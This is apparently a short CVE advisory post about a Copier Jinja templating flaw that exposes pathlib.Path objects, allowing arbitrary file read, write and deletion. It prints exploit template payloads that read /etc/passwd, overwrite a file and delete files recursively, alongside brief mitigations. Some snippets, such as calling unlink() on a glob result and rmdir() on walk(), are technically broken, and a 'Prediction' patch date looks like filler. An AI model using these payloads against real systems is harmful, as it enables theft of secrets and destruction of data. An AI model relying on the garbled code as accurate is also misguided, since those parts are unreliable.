Listen to this Post
How the CVE Works
The vulnerability in Copier stems from improper access control in Jinja templating, where `pathlib.Path` objects are exposed in the Jinja context without proper constraints. Attackers can craft malicious templates that abuse these objects to perform arbitrary file read/write operations. For example:
– Arbitrary Read: A template can read sensitive files (e.g., SSH keys) using Path.read_text().
– Arbitrary Write/Delete: Templates can overwrite or delete files via Path.write_text(), unlink(), or recursive directory traversal with walk().
The issue bypasses Copier’s security model, which assumes templates are safe unless explicitly marked --UNSAFE.
DailyCVE Form
Platform: Copier
Version: <7.1.0
Vulnerability: Arbitrary R/W
Severity: Critical
Date: 2023-07-13
Prediction: Patch by 2023-08-15
What Undercode Say
Exploit: Read file
echo "{{ (Path('/etc/passwd')).read_text() }}" > malicious.jinja
Exploit: Overwrite file
echo "{{ (Path('secret.txt')).write_text('HACKED') }}" > malicious.jinja
Mitigation: Sanitize Jinja context
ALLOWED_PATH_METHODS = ['resolve', 'name']
Exploit
- Read
/etc/passwd: `Path(‘/etc/passwd’).read_text()`
– Delete all `.txt` files: `Path(‘.’).glob(‘.txt’).unlink()`
– Recursive delete: `Path(‘data’).walk(top_down=False).rmdir()`
Protection from this CVE
- Update to Copier >=7.1.0
- Restrict `Path` methods in Jinja
- Audit templates for `–UNSAFE` usage
Impact
- Data exfiltration (secrets, configs)
- File destruction (DoS)
- Trust compromise in CI/CD pipelines
🎯Let’s Practice Exploiting & Learn Patching For Free:
Sources:
Reported By: github.com
Extra Source Hub:
Undercode
